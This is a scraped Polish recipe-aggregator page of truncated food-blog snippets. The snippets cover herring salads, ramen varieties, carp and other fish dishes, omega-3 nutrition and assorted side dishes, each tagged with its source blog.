warstwę krakersów lekko smarujemy odrobiną majonezu. Dekorujemy startymi na tarce żółtkami, pokrojoną w półplasterki rzodkiewką i posypujemy pokrojonym szczypiorkiem. Smacznego! Zapraszamy do sprawdzenia innych naszych przepisów na śledzie oraz ryby. Min. śledzie marynowane w musztardzie , sałatka warstwowa z rybą panierowaną, oraz zimne ciasto z łososiem . Polecamy też pyszne śledzie po japońsku . Artykuł Sałatka śledziowa na krakersach – warstwowa pochodzi

Kuchnia Na Wypasie
Rodzaje japońskiej zupy ramen 88

brązowy bulion o smaku sosu sojowego (jap. shoyu). Zupa ta zazwyczaj zrobiona jest z rosołu drobiowego, ale często do jej przygotowania używa się kilka rodzajów mięsa np. wołowiny lub ryby. Sposób doboru mięsa zależy od regionu w jakim jest przygotowywana. Shoyu-ramen jest najpopularniejszym rodzajem ramenu. Jeśli w danej restauracji nie określono konkretnego rodzaju wywaru, można spodziewać się(...)wołowina. Zawarta w potrawie sól nie wpływa na wygląd bulionu, dlatego zupa Shio jest jasna i klarowna. Shio najczęściej podawany jest z mięsem z kurczaka, pędami bambusa i rybami. Tonkotsu Ten rodzaj japońskiej zupy ramen wywodzi się z okolic miejscowości Kiusiu. Ramen tonkotsu składa się z kości wieprzowych, które gotuje się nawet do 15 godzin – do momentu

Słodkie okruszki
Ryba po grecku 81

Bulion szklanka 1- 1 i 1/2 szklanki Ziele angielskie 3 Liść laurowy 2 Pieprz 5 kulek Koncentrat pomidorowy słoiczek 200 g Musztarda delikatesowa łyżka Sól Pieprz Olej Przygotowanie: Rybę pokroić na mniejsze kawałki, doprawić z dwóch stron solą oraz pieprzem. Rybę obtaczamy w mącę i smażymy na rozgrzanym oleju na złoty kolor z każdej strony. Por pokroić w półplasterki. Marchew(...)miękkości warzyw.  Gdy warzywa będą miękkie dodajemy koncentrat, doprawiamy solą oraz pieprzem. Odstawiamy do przestudzenia. Do wystudzonych warzyw dodajemy łyżkę musztardy i mieszamy.  Przygotowane warzywa przełożyć rybą najlepiej w szklanym naczyniu. Odstawić do przegryzienia się smaków. Najlepiej smakuje na drugi dzień. Smacznego! Zapraszam was również do odwiedzania  mojego Facebooku gdzie dodaje wszystkie swoje przepisy: Polub mnie

Kulinarne przygody
Pomysły na niedzielny obiad – 10 przepisów 70

Znamy ten problem. Poniżej 10 różnych przepisów na niedzielny obiad: od bardzo prostych, do zrobienia w 15 minut, po bardziej czasochłonne, którym trzeba poświęcić więcej uwagi. Jest pieczony drób, ryba, stek i owoce morza. Wszystkie pyszne, wielokrotnie przetestowane. Gorąco polecamy! Pytanie do rodziny: co zjecie na obiad? Cokolwiek…. Na każdą kucharkę, kucharza taka odpowiedź działa jak płachta na byka(...)przez większość czasu w ogóle nie musicie do niej zaglądać (choć pewnie będziecie chcieli, bo niesamowity aromat rozchodzący się po domu sprawi, że będziecie krążyć wokół piekarnika ;-)) Czytaj dalej RYBA PO GRECKU: Najlepsza pieczona dorada Najlepsza pieczona dorada! Serio – to jest najlepszą pieczona dorada jaką zjesz. Dajemy na to gwarancję. Jeśli z tego przepisu nie wyjdzie ci najlepsza pieczona dorada

Niedzielny kucharz
Pyszny karp w panierce i o tym dlaczego warto jeść karpia 107

roślin i zwierząt. Wiele kompleksów stawowych zostało nawet wpisanych na listę Natura 2000, a niektóre na listę rezerwatów przyrody. Delikatne mięso karpia zachwyciło podniebienia władców, stąd nazwa najpopularniejszej odmiany ryby – karp królewski. Karp, a dieta Karp z lokalnych stawów to doskonałe źródło aminokwasów, witamin i składników mineralnych. Zawiera dobrze przyswajalne białko i tłuszcze o prozdrowotnym działaniu. Jego mięso jest(...)masło i olej do smażenia (pół na pół) lub masło klarowane Przygotowanie: Płat karpia przepłukujemy kilka razy pod zimną wodą, osuszamy ręcznikiem papierowym i układamy na desce. Nacinamy mięso ryby tak by nie przeciąć skóry, tak co 2-3 cm. Kroimy płat na mniejsze kawałki. Skrapiamy je sokiem z cytryny, oprószamy solą i pieprzem. Odstawiamy na około godzinę

Słodkie okruszki
Golonka pieczona w glazurze z papryką wędzoną pimenton 87

Golonka pieczona w glazurze z wędzoną papryka pimenton Golonka pieczona w glazurze z papryką pimenton to golonka w wersji de lux. Delikatne mięso, cudowny tłuszczyk, aromat

Korniszonki
Torcik z lunch mixem, brokułem i szprotkami. 92

olej z puszki. Doprawiamy do smaku sola, pieprzem oraz sokiem z cytryny i mieszamy. Szprotki wykładamy na brokuły, ja ich nie rozdrabniałam ale można to zrobić. Jeśli lubimy dużo ryby możemy dać dwie puszki, ale olej używamy tylko z jednej. Na rybę wykładamy mieszankę ziaren, mocno dociskamy. Przykrywamy po wierzchu folią i wkładamy do lodówki, najlepiej na całą

Radość kipiąca uśmiechem.
Kwasy omega 3,6 i 9 i ich rola w organiźmie 86

jest właściwa proporcja kwasów omega 3,6 i 9. Typowo polska dieta nie pozwala na jej zachowanie – spożywamy zbyt wiele tłuszczów roślinnych zawierających kwasy omega 6 a zbyt mało ryb, które są najważniejszym źródłem kwasów omega 3. Produkty żywnościowe bogate w kwasy 3,6 i 9 to właśnie tłuste ryby morskie, oliwa z oliwek, orzechy włoskie, oleje roślinne

FoodMagazine.pl - Przepisy kulinarne
Śledzie po żydowsku 1676

śledziami bywa różnie. Jedni je uwielbiają, inni nie jedzą w ogóle, a niektórzy jedzą okazjonalnie, czyli głównie z okazji świąt lub imprez rodzinnych. Dla wielbicieli tych ryb są one dobre pod każdą postacią, a na Wigilię Bożonarodzeniową muszą być obowiązkowo. Jednym ze sposobów przygotowania śledzi na stół wigilijny są śledzie po żydowsku. Przygotowuje się je bardzo szybko(...)żydowsku to świetny pomysł na Wigilię Bożego Narodzenia, Sylwestra czy każdą inną okazję. Tak przygotowane śledzie są łagodne w smaku i na pewno przypadną do gustu wielbicielom tych ryb i nie tylko. Śledzie po żydowsku na pewno pojawią się u mnie na stole wigilijnym. A u was? Koniecznie dajcie znać! (adsbygoogle = window.adsbygoogle || []).push({}); Składniki na Śledzie po żydowsku: około

Danka Pichci
Spaghetti bolognese z dodatkiem różowego wina. 104

zachwycający słodki aromat gruszek. Klasyczny, dobrze zbilansowany róż, z kwiatowym i orzeźwiającym finałem. Jest to subtelne, bardzo eleganckie wino na najlepsze momenty. To półsłodkie wino idealnie pasuje do ryb, przystawek, delikatnych pasztetów drobiowych, deserów i jak najbardziej do makaronów. Dlatego dziś moja propozycja podania wygląda właśnie tak.  Ale w ofercie win zamojskich znajdziecie wiele innych, które podacie(...)każdym innym daniem, począwszy od dziczyzny a kończąc na rybach i słodkich tortach.  Składniki; Składniki; 50 dag makaronu spaghetti 1 cebula drobno posiekana 2 rozgniecione ząbki czosnku 1 obrana marchew i starta na tarce 3/4 szkl. wina różowego od winiarni zamojskiej 50 dag mielonej łopatki wieprzowej 400 ml posiekanych pomidorów  z puszki 3 łyżki przecieru pomidorowego

Radość kipiąca uśmiechem.
Karp pieczony w domowym sosie teryiaki w chrupiącym sezamie z ryżem jaśminowym i sałatką z awokado i pomidorków koktajlowych 80

teryiaki, który smakuje obłędnie. Jeśli jesteście fanami sushi i innych azjatyckich smaków spróbujcie zamienić nudnego karpia w niecodzienną potrawę. Jeśli zaś nie przepadacie za sushi, to wypróbujcie przepis na rybę inną niż kiedykolwiek jedliście. Idąc z duchem wspierania polskich producentów itp. przygotowałam zamiast łososia naszego polskiego karpia, którego nie da się w żaden sposób podrobić, czy utuczyć, bo zanim trafi(...)karpia jem głównie w grudniu :/ ale może Wy macie inaczej? Ważne: spróbujcie kupić od razu płaty z karpia a nie karpia w całości – odejmie to Wam mnóstwo pracy! Kupując rybę sprawdźcie zapach – jeśli pachnie rybą/ stawem – będzie ok, jeśli pachnie zepsutym mięsem z kurczaka – nie bierzcie i pozwalam na zrobienie małej awanturki ;p Ja się kiedyś tak nacięłam na ryneczku

Eat me! Fit me!
Nowy trend eko. Lodówka zero waste 59

inny rodzaj żywności. Najzimniej jest na półce dolnej, najcieplej na górnej półce oraz drzwiach. Na najniższej półce najlepiej przechowywać produkty, które szybko się psują, takie jak surowe mięso czy ryby. Środkowa część lodówki będzie idealna na mleko oraz produkty mleczne, takie jak: ser, masło jogurty, śmietanę,kefiry czy twaróg. Jogurty, kefiry czy mleko warto układać chronologicznie (artykuły z krótszą(...)innych produktów. Dlatego wszystkie produkty powinny być zamknięte w pojemniku lub zabezpieczone w inny sposób. Ponadto, należy uważać, żeby np. ciasta nie kłaść obok intensywnie pachnącej wędliny czy ryby. Lepiej na każdy produkt znaleźć osobne półki. Unikając marnowania jedzenia trzeba również pamiętać o kupowaniu produktów, które są potrzebne. Zakupy na zapas niosą ryzyko, że któryś artykuł się zmarnuje. Większość

ProstePesto.pl
Śledzie po kujawsku 895

smakują o wiele lepiej. Dodatkowo możemy je doprawić według własnych upodobań smakowych. Dzisiaj mam dla was przepis na śledzie po kujawsku. Jest to bardzo smaczna i aromatyczna wersja tej ryby. Śledzie po kujawsku to kawałki śledzia w słodko-kwaśnym sosie pomidorowym z duszonymi jabłkami. Jest to dość ciekawe połączenie, ale uważam, że warte spróbowania, ponieważ kwaśne jabłka doskonale pasują(...)tych ryb. Przepis na śledzie po kujawsku jest bardzo prosty, a do ich przygotowania nie potrzebujemy wielu składników, bo oprócz śledzi i przypraw, dwa kwaśne jabłka i koncentrat pomidorowy. Tak więc jeżeli szukacie nowych przepisów na święta i nie tylko to gorąco polecam wypróbować wam śledzie po kujawsku! (adsbygoogle = window.adsbygoogle || []).push({}); Składniki na Śledzie po kujawsku: 4 solone filety

Danka Pichci
Łosoś pacyficzny w otrębach 88

Lubicie ryby? my je uwielbiamy i zajadamy często, są bardzo zdrowe i bogate w nienasycone kwasy tłuszczowe Omega 3, tak dobre dla naszego organizmu. Polecam łososia pacyficznego bo jest przepyszny, delikatny a przyrządza się go w kilka minut aby potem cieszyć się pysznym daniem. Polecam gorąco. Łosoś w otrębach. CZYTAJ DALEJ

Moje Małe Czarowanie
Pulpeciki z karpia w zupie rybnej. Karp nie tylko na święta! 67

Pomimo ogólnej wiedzy, że ryby to samo zdrowie w Polsce nadal spożywa się ich zdecydowanie za mało, co niestety nie jest korzystne dla naszego organizmu. Pomimo tego, że ponad 80% konsumentów wie jak istotna jest obecność ryb w diecie, tylko niewielki procent wprowadza je do swego menu, na co dzień. Myślę, ze przy okazji zbliżających… Artykuł Pulpeciki

Jaśkowe Klimaty
Domowy kisiel żurawinowy 114

Domowy kisiel żurawinowy - zdrowy deser dla dzieci i na Wigilię Listopad to czas, kiedy w sklepach dostępna jest świeża żurawina, warto zatem przygotować coś pysznego z

Korniszonki
Golce – kaszubski specjał z ziemniaków 92

polu lub z tego, co udało im się znaleźć w lesie. Ziemniaki, owoce i warzywa oraz grzyby to podstawa kuchni kaszubskiej. Mimo, że to region obfitujący w dużą ilość ryb, to jednak mięso i ryby jadano raczej od święta. Postawą codziennego menu były ziemniaki i wszystko, co tylko można było z nich „wyczarować”. Najpopularniejsze były właśnie

Kuchnia Na Wypasie
Kuchnia meksykańska – przepisy 88

kolacja gotowa! Chilli z fasoli ekspresowe Klasyczne chili może być też bez mięsa, zrobione na pysznej i pożywnej fasoli, robi się je dosłownie w kilka chwil! Tacos z rybą Danie dla wielbicieli kuchni meksykańskiej i ryb jednocześnie. Pyszna aromatyczna ryba, meksykańskie dodatki i jedzenie palcami Bowl burrito z łososiem Bowl czyli miseczka szczęścia i różności. Tym razem składniki podobne

nietylkopasta.pl
Pulpety z tołpygi w sosie pomidorowym 94

Ryba w innej odsłonie. Doskonale sprawdza się pasteryzowana w słoikach ( zalana sosem pomidorowym )           Składniki:           Sos :1/2 szklanki oleju rzepakowego   1/2 szklanki wody   200 g koncentratu pomidorowego   2 łyżki cukru   3 łyżki ketchupu   10 łyżek octu ryżowego   3 ziarna ziela angielskiego   2 liście laurowe(...)Pokroiłem na mniejsze kawałki. Mięso zmieliłem przez maszynkę (najdrobniejsze sitko). Szalotkę obrałem, pokroiłem w plastry i przesmażyłem na oleju z masłem. Przesmażoną cebulę przemieliłem przez maszynkę. Wyrobiłem masę z ryby i cebuli, dodałem natkę pietruszki, jajka i bułkę tartą. Doprawiłem solą, pieprzem ziołowym i gałką muszkatołową. Uformowałem małe klopsiki i ugotowałem je w osolonej wodzie (gotować do wypłynięcia pulpetów

R'n'G Kitchen
Dynia z chilli con carne 83

tego dania jest dynia piżmowa, warto wybrać właśnie tą odmianę. Do tego zróbcie chilli con carne i dodajcie ulubione dodatki, zapieczcie jeszcze chwilkę i gotowe! Jeśli lubicie dania z ryb zapraszam Was także do przepisów na: dorsz w sosie cytrynowym pstrąg w sosie ziołowym łosoś barbecue tacos z rybą bowl burrito z łososiem pstrąg z orzechami halibut pieczony ryba

nietylkopasta.pl
Sos z suszonych grzybów (z zasmażką) 70

obiadowe dania oraz potrawy na wigilijnym stole Jeśli nie lubisz zasmażki, polecam przepis na sos grzybowy z zaklepką (mieszanką mąki i zimnej wody) .   Sprawdź również: ** Ćwikła ** Racuchy drożdżowe ** Ryba w sosie czosnkowym ** Ryba po grecku   (adsbygoogle = window.adsbygoogle || []).push({});   Składniki: 20-30 g suszonych grzybów cebula łyżka masła (około 5 g) czubata łyżka mąki pszennej sól i pieprz(...)pieczeni.   Dania z suszonymi grzybami:         (adsbygoogle = window.adsbygoogle || []).push({});   Pomysły na rybne dania… Tatar z łososia z majonezem Tatar z łososia z oliwą Ryba w kukurydzianej panierce Ryba w zalewie pomidorowo-octowej Śledź z cebulką

Kulinarny S.O.S.
Śledź w śmietanie 83

zagrycha do wódeczki Można ją przygotować nawet dzień wcześniej, by przez ten czas wszystkie składniki „się przegryzły” – danie będzie wtedy o wiele smaczniejsze   Rybne dania: ** Ryba w zalewie pomidorowo-octowej ** Ryba duszona w sosie pomidorowym ** Ryba w kukurydzianej panierce ** Ryba w sosie ananasowo-keczupowym   (adsbygoogle = window.adsbygoogle || []).push({});   Składniki: 500 g filetów śledziowych

Kulinarny S.O.S.
Pierogi ruskie z bryndzą 146

Pierogi ruskie z bryndzą Ruskie pierogi kochamy wszyscy! W zależności od regionu przepisy na słynne ruskie mogą się różnić, ale zawsze te pierogi wspaniale smakują. Mój

Korniszonki
Wegańska zupa krem z pieczonej dyni 126

Zupa krem z pieczonej dyni Jesienią na naszych stołach królują dynie - pieczone, duszone, smażone, prażone. Szczególnie pyszna jest dynia pieczona, z której można przygotować wiele wspaniałych

Korniszonki
Ziemniaki pieczone w mleku. Genialny przepis z nowej książki Marka Łebkowskiego 83

cennej wiedzy kulinarnej. Jako że mamy serce z kartofla, w oczy od razu rzuciły nam się ziemniaki pieczone w mleku. Postanowiliśmy przetestować ten przepis. Ziemniaki miały być dodatkiem do ryby, ale gdy pojawiły się na stole, to one grały pierwsze skrzypce i zniknęły jako pierwsze. Są przepyszne! Przepis na ziemniaki pieczone w mleku Składniki: 1 kg ziemniaków średniej wielkości(...)najlepsze w kuchni polskiej. Dzięki książce nauczysz się, jak przyrządzić barszcz, ulepić idealne pierogi czy wyrobić pyszne ciasto drożdżowe. Znajdziesz tu tradycyjne przepisy na smaczne dania z warzyw, mięsa, ryb i mąki, na zupy oraz słodkości, a także wskazówki i porady. Przez kolejne etapy przygotowania wielu potraw krok po kroku przeprowadzą Cię zdjęcia. Zachwyć się domowymi smakami i wzbogać

Kulinarna Polska
Papryka marynowana z miodem i czosnkiem 147

Papryka marynowana z miodem i czosnkiem Papryka marynowana z miodem i czosnkiem to ciekawa wariacja na temat marynowanej papryki. Swój ciekawy smak zawdzięcza dodatkowi naturalnej słodkości

Korniszonki
Smalec (czysty) 80

parze. Ja smalcu używam najczęściej zamiennie z masłem klarowanym ( przepis ). Do smażenia używam oleju kokosowego, gdy jego zapach i słodkawy smak dobrze się komponuje, czyli np. do panierowanych ryb i drobiu albo też naleśników paleo . Do smażenia wołowiny, niezależnie czy jako stek czy na gulasz, używam właśnie smalcu (domowego). Placki ziemniaczane, czy jajecznica tylko na smalcu, ale jajka sadzone(...)jeszcze bardziej nierównowagę pomiędzy tłuszczami omega-3 i omega-6 . Smalec jest smaczny, bardzo praktyczny i zdecydowanie ma miejsce w diecie paleo, ale nie powinniśmy równocześnie zapominać o tłustych rybach i/lub suplementowaniu omega-3. Zobacz też nasze uwagi odnośnie mięsa: Mięso – zdrowie, pieniądze i sumienie . Smacznego! Wartości odżywcze Wartość energetyczna Węglowodany Tłuszcze Białko przyswajalne błonnik ogółem wielonienasycone

PaleoSMAK
Super szybki placek ze śliwkami i gruszkami 151

Jesienny placek ze śliwkami i gruszkami Polecam extra przepis na jesienny deser. To proste i szybkie ciasto pozwoli zagospodarować wszystkie jesienne owoce, które zapodziały się w

Korniszonki
Hiszpański ryż z Chorizo Faceta w Kuchni 95

kurczakiem i właśnie Chorizo, jakież było jego i nie tylko jego zdziwienie, na oburzenie, wzburzenie i falę hejtu, że nie ma czegoś takiego jak paella z Chorizo, owoce morza, ryby, kurczak tak, ale nie Chorizo. Nie tylko Jamie miał problem z tym daniem, sam Gordon Ramsay za dodanie papryczek chili również oberwał, innemu światowej klasy szefowi kuchni Marco Pierre(...)powstało w dobie kryzysu, biedy, było pożywieniem biednych ludzi i w rzeczywistości był to smażony ryż z… tym, co było, prawdopodobnie mięso, kiełbasy były drogie, ciężko dostępne, od ryb czy owoców morza. Zapraszam na Hiszpańskie ryż z Chorizo, które nie jest i jest Paellą. 👥 – 4-6 ⏰ – 60 minut 🇪🇦 – Hiszpania ✅ Składniki ✅ 4 świeże Chorizo

RafalCook
Co to jest kwas EPA i dlaczego jest tak ważny? 87

dziennie. Natomiast w przypadku ciężarnych kobiet zapotrzebowanie na tę substancję zwiększa się niemal dwukrotnie. Występowanie EPA Kwas eikozapentaenowy znaleźć można przede wszystkim w owocach morza oraz różnych gatunkach morskich ryb. Znajduje się on w tłustych rybach, takich jak śledzie, makrele, łososie oraz sardynki. Związki te są również w rozmaitych olejach roślinnych: rzepakowym, lnianym. Ponadto EPA występuje także

Kuchcik gotuje
Isle of Wight 117

www.thetavernersgodshill.co.uk/ ) gdzie jedzenie przygotowywane jest z tego, co w zależności od sezonu, kupowane jest u lokalnych dostawców/rolników. Mimo, że zwykle nie kupuję typowego angielskiego dania, jakim jest ryba smażona z frytkami, bo nie mam za grosz zaufania do świeżości ryby, tutaj jednak się odważyłam. Ryba była wspaniała. Mogłaby być jedynie świeższa jakbym ją sama wyciągnęła z wody

UgotujmyTo.pl
TATAR Z WĘDZONEJ MAKRELI 75

mięso i przełóż do miski. 2. Dymki pokrój w drobne krążki, cebulkę w drobną kostkę. Dodaj do miski z makrelą. 3. Przygotuj zest z całej limonki i dołóż do ryby, wciśnij również około łyżki soku z limonki. 4. Dodaj olej sezamowy, łyżkę sezamu oraz świeżo mielony pieprz i całość dobrze wymieszaj. 5. Serwuj, uprzednio wciśnięty do ringu kucharskiego. Jeśli(...)Poszatkuj drobno mięso i przełóż do miski. Dymki pokrój w drobne krążki, cebulkę w drobną kostkę. Dodaj do miski z makrelą. Przygotuj zest z całej limonki i dołóż do ryby, wciśnij również około łyżki soku z limonki. Dodaj olej sezamowy, łyżkę sezamu oraz świeżo mielony pieprz i całość dobrze wymieszaj. Serwuj, uprzednio wciśnięty do ringu kucharskiego. Jeśli robisz przystawkę

globuskulinarny
Duszone pory z prażonymi orzechami laskowymi 82

Duszone pory w białym winie, z dodatkiem czosnku i świeżego tymianku. Posypane prażonymi orzechami laskowymi. Świetny dodatek do mięs czy ryb. Polecam w towarzystwie Soczystej dorady pieczonej pod solną skorupą , która wcale nie jest słona 🙂 Składniki: (4 porcje) 4 pory (tylko białe części) oliwa lub olej do podsmażenia 3 ząbki czosnku 3 łodygi świeżego tymianku łyżka masła(...)końcem , aby namiar płynu odparował. Wyłóż pory na talerz, posyp uprażonymi orzechami laskowymi i posyp natką pietruszki. Polej sosem pozostałym z duszenia porów. Podawaj jako dodatek do mięs lub ryb. Ja podałam w towarzystwie “Soczystej dorady pieczonej pod solną skorupą ” i “ Pieczonych ziemniaczków z chilli i kurkumą “ . źródło: “Gordon Ramsay’s Ultimate Home Cooking” Czytaj więcej: Duszone pory

Moja Delicja
Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem 86

smakowo. Zrobiłam z niego wiele dań, między innymi tę “ Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem “. Polecam jako dodatek do dań obiadowych z mięsami, z rybami. Świetnie się również komponuje z wytrawnymi tartami. Składniki surówki z kopru włoskiego: (2-3 porcje) 1 bulwa kopru włoskiego (fenkułu) 1 kalarepka 1 duże zielone jabłko sok z połowy(...)doprawić odrobiną soku z cytryny. Surówkę z kopru włoskiego (fenkułu) , kalarepki i zielonego jabłka z koperkiem podawać jako dodatek do dań obiadowych (do tart, dań z mięsem lub z rybami) . Czytaj więcej: Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem The post Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem appeared first

Moja Delicja
Salatka z batatem, szpinakiem i pomidorami 85

pół małego kalafiorka - 2 garście świeżych liści szpinaku baby - 10 dużych pomidorków koktajlowych - pół szklanki kaszy kus kus - olej lniany, sól, pieprz do smaku - ew. resztki mięsa lub ryby z poprzedniego dnia  Batata obieram i kroję w kawałeczki. Kalafior myję, oddzielam różyczki. Wszystko razem gotuję do miękkości- patrzcie, żeby się kalafior nie rozgotował. Kaszę zalewam wrzątkiem(...)poczekać na ostudzenie albo wymieszać na ciepło - w każdej wersji będzie smaczne. Na koniec dodajemy olej lniany i przyprawy do smaku. Bardzo dobrze smakuje z dodatkiem resztek mięsa lub ryby z dnia poprzedniego - ja dodałam odrobinę kurczaka  ale może być też w wersji jarskiej

Kuchnia Pełna Emocji
Pieczony, smażony czy grillowany – jak najlepiej przyrządzać łososia? 76

Łosoś zalicza się do tłustych ryb morskich, po które powinniśmy sięgać regularnie, najlepiej przynajmniej raz w tygodniu. Jest też produktem o wyjątkowo wysokiej wartości odżywczej, nie bez powodu uznawanym za bardzo zdrowy. Pytanie zatem nie brzmi zatem „czy”, ale raczej ¬– „jak” przyrządzać łososia? Pierwszym krokiem do zrobienia smacznej i zdrowej potrawy jest wybór ryby pochodzącej z dobrego źródła

jakszef.pl
Pstrąg z piklowaną cukinią / Trout with pickled zucchini 151

Scroll down for recipe in English. Dzisiaj rybka na obiad :) Pstrąga zrobiłam w piekarniku, ale możecie upiec rybę na grillu. A do grilla świetnie pasować będzie marynowana 24 godzinna cukinia w postaci cieniutkich wstążek. Ach! Aż mi się zamarzyło tego grilla i pieczonego na nim chleba... posmarowanego masełkiem czosnkowym... :) Składniki: (2 porcje) 2 patroszone pstrągi tęczowe 2 łyżki soli(...)pomocą obieraczki do warzyw. Zalej przestudzoną marynatą, przykryj naczynie i odstaw do lodówki na 24 godziny. Pstrągi oczyść z łusek, osusz. Skórki z cytrusów wymieszaj z solą i cukrem. Ryby pokryj całą mieszanką, również w środku i wstaw na 1 godzinę do lodówki. Piekarnik rozgrzej do 200 °C. Pstrągi dokładnie wypłucz z mieszanki w zimnej wodzie. Oprócz pieprzem

Delicious Place
Sałata z gruszek – kuchnia galicyjska 71

którym następuje część główna uczty, czyli pierwsze danie. „Liczba półmisków (assiettes) należących do pierwszego dania, składa się z małych pasztecików ciepłych, smażonego i drylowanego mięsa, drobiu i ryb, różnych potraw z farszem, kiełbasek, świeżych i wędzonych ozorów, krokietów, karbonadlów, następnie z dodatków zimnych, jako to: ogórków zielonych, ćwikły, oliwek, zielonego kopru, szampionów, świeżego masła, bryndzy, rzodkiewek, świeżych lub grylowanych(...)ostryg, salami krajanych, pekelfleiszu i t. p. Na drugie zaś danie dają się ciasta, galarety, mleczka, auszpiki, kompoty i sałaty, ryby marynowane, gotowane ozory zimne i t. p.” Sałata z gruszek łamie wszelkie schematy, które znałam. Zarówno sposób przyrządzania dania, jak i końcowy rezultat były dla mnie czymś zupełnie nowym i zaskakującym. W tym daniu gruszki obtacza się

Trzeci talerz
Domowe grillowanie – jaki grill sprawdzi się najlepiej? 111

czę­ścio­wego rusztu z wymien­nym środ­kiem. Jego wymiana jest bar­dzo pro­sta, a na grillu przy­go­tuje się przez to nie tylko mięso i ryby, ale rów­nież owoce morza i warzywa, a nawet takie przy­smaki jak gofry , nale­śniki i pizzę! W modelu II SP 335 jest bar­dzo duża powierzch(...)nowe. Poza tym należy pamię­tać o akce­so­riach! Do każ­dego modelu można doku­pić prze­różne akce­so­ria , które oprócz gril­lo­wa­nego mięsa, ryb i warzyw pozwa­lają na przy­go­to­wa­nia innych potraw. Wśród akce­so­riów znaj­dują się rów­nież te prze­zna­czone do czysz

codojedzenia
Tradycyjna nalewka malinowo-jeżynowa 169

Nalewka malinowo-jeżynowa według tradycyjnego przepisu na pewno przypadnie do gustu fanom wysokoprocentowych alkoholi owocowych. Trunek przyrządzony wg tego przepisu jest mocny, ale po odpowiednio długim

Korniszonki
SAŁATKA Z FETĄ I POMIDORAMI- pyszna do grilla 82

grilla.  Przepis na letnią sałatkę do grilla.      Sałatka z fetą - w kilka chwil przygotujesz smaczną, świeżą sałatkę, która doskonale będzie pasować do grillowanych mięs, grillowanej ryby, ale też jako przekąska podczas grilla . Oto sprawdzony przepis na sałatkę z fetą do grilla. Zobacz jak ją przygotować :) Przepis na letnią sałatkę z fetą. Sałatka z fetą: lista(...)fetą podawać zaraz po przygotowaniu do potraw z grilla, na przyjęcie lub kolację. Pyszna letnia sałatka na grilla, świetnie smakuje do grillowanego kurczaka, grillowanej karkówki lub  grillowanej ryby. Smacznego :) Letnia sałatka do grilla z fetą. Pyszna sałatka z fetą

Moja Książka Kucharska
Salmagundi. Przepis na pirackie danie. Aarrgghh! 100

zasadniczo oznacza sa\u0142atk\u0119 lub mieszank\u0119 r\u00f3\u017cnych produkt\u00f3w spo\u017cywczych. \u017bywno\u015b\u0107 zwykle znajduj\u0105ca si\u0119 na tym talerzu to w\u0119dliny, ryby, owoce i warzywa. Kilka tradycyjnych przepis\u00f3w wymaga nawet mi\u0119sa \u017c\u00f3\u0142wia. Tego ostatniego sobie podarujemy w tym przepisie.","keywords":["Salmagundi","piraci","danie pirackie","co jedli piraci(...)porcje Przygotowanie 20 min. Gotowanie 45 min. Kalorie 270 kcal Salmagundi zasadniczo oznacza sałatkę lub mieszankę różnych produktów spożywczych. Żywność zwykle znajdująca się na tym talerzu to wędliny, ryby, owoce i warzywa. Kilka tradycyjnych przepisów wymaga nawet mięsa żółwia. Tego ostatniego sobie podarujemy w tym przepisie. Składniki: Grillowane krewetki 10 szt. dużych krewetek w skorupce 2 ząbki czosnku posiekanego

ProstePesto.pl
Co to jest dehydrator 77

pytania zaczynają się pojawić latem każdego roku, bo właśnie wtedy zaczynamy przygotowywać przetwory na zimę. Część zamykamy w słoikach, inne suszymy. I właśnie do suszenia - dosłownie wszystkiego, także mięsa, ryb czy zakwasu na domowy żurek służy dehydrator. Ale nie tylko do suszenia. W dehydratorze można także przygotować ciastka, krakersy i chlebki,  pełnowartościowe dania główne, idealne na wakacyjne wyjazdy(...)także wyposażonych w specjalne maty przeznaczone m.in. do suszenia produktów półpłynnych. Co można przygotować w dehydratorze Oprócz suszenia warzyw, owoców, grzybów i ziół w dehydratorze można także ususzyć makaron, ryby, mięso i owoce morza. To bardzo uniwersalne urządzenie, w którym przygotujesz także: domowy jogurt naleśniki z owoców chlebki, krakersy i ciastka dietetyczne batoniki   sosy i zupy instant

Cztery Fajery
Gofry ziemniaczane z wędzonym łososiem i letnimi dodatkami 90

wiadomo "diabeł tkwi w szczegółach". Pamiętam jak pierwszy raz usłyszłam o znakomitym połączeniu łososia i awokado. Byłam niesamowicie zdziwiona. Wydawało mi się, że połączenie zdrowej, ale jednak tłustej ryby, jaką jest łosoś, z awokado również obfitującym w tłuszcze nie będzie dobre. Jeżeli spróbowaliście choć raz takiego połączenia smaków, to pewnie się uśmiechacie. Jak można się domyślać moje obawy były(...)dodatkami (zresztą jak wszystkie inne gofry) już nie lubią przechowywania, więc najlepiej zjeść je od razu po przygotowaniu, co nie powinno stanowić problemu. ;) gofry, śniadanie, dania z ziemniaków Śniadanie, Ryby i owoce morza fusion, polska Ilość: 10-12 Autor: Kasia Jastrzębska | pełny talerz Drukuj ze zdjęciem bez zdjęcia Gofry ziemniaczane z wędzonym łososiem i letnimi dodatkami

Pełny talerz
Sandacz w sosie z jeżyny leśnej 129

pomyślałam. Lepszy niż z cytryną! Już nie mogłam doczekać się końcowego efektu. Jak nie lubię smażyć to tym razem dostałam skrzydeł. Miałam nosa, znakomity smak i zapach. Smak ryby w połączeniu z sosem słodko-kwaśnym jest aż nieprzyzwoicie pyszny! Reszta „głodomorów”, na początku zajadała sandacza z cytryną, widząc moje achy i ochy, opróżnili w ekspresowym tempie sosjerkę(...)polecam! Sandacz w sosie z jeżyny leśnej Potrzebujemy:   Filet z sandacza, jeżyny, sól i pieprz do smaku, mąka, masło klarowane lub olej do smażenia. W zależności od ilości ryby, przygotowujemy ilość sosu z jeżyn. Powiedzmy 2 szklanki jeżyn miksujemy, przecieramy przez sito, pozbywając się tym samym pestek. Sos aby był gęściejszy możemy zredukować  podgrzewając go na wolnym

Leśny Zakątek
Dorsz w pomidorach z tapenadą 190

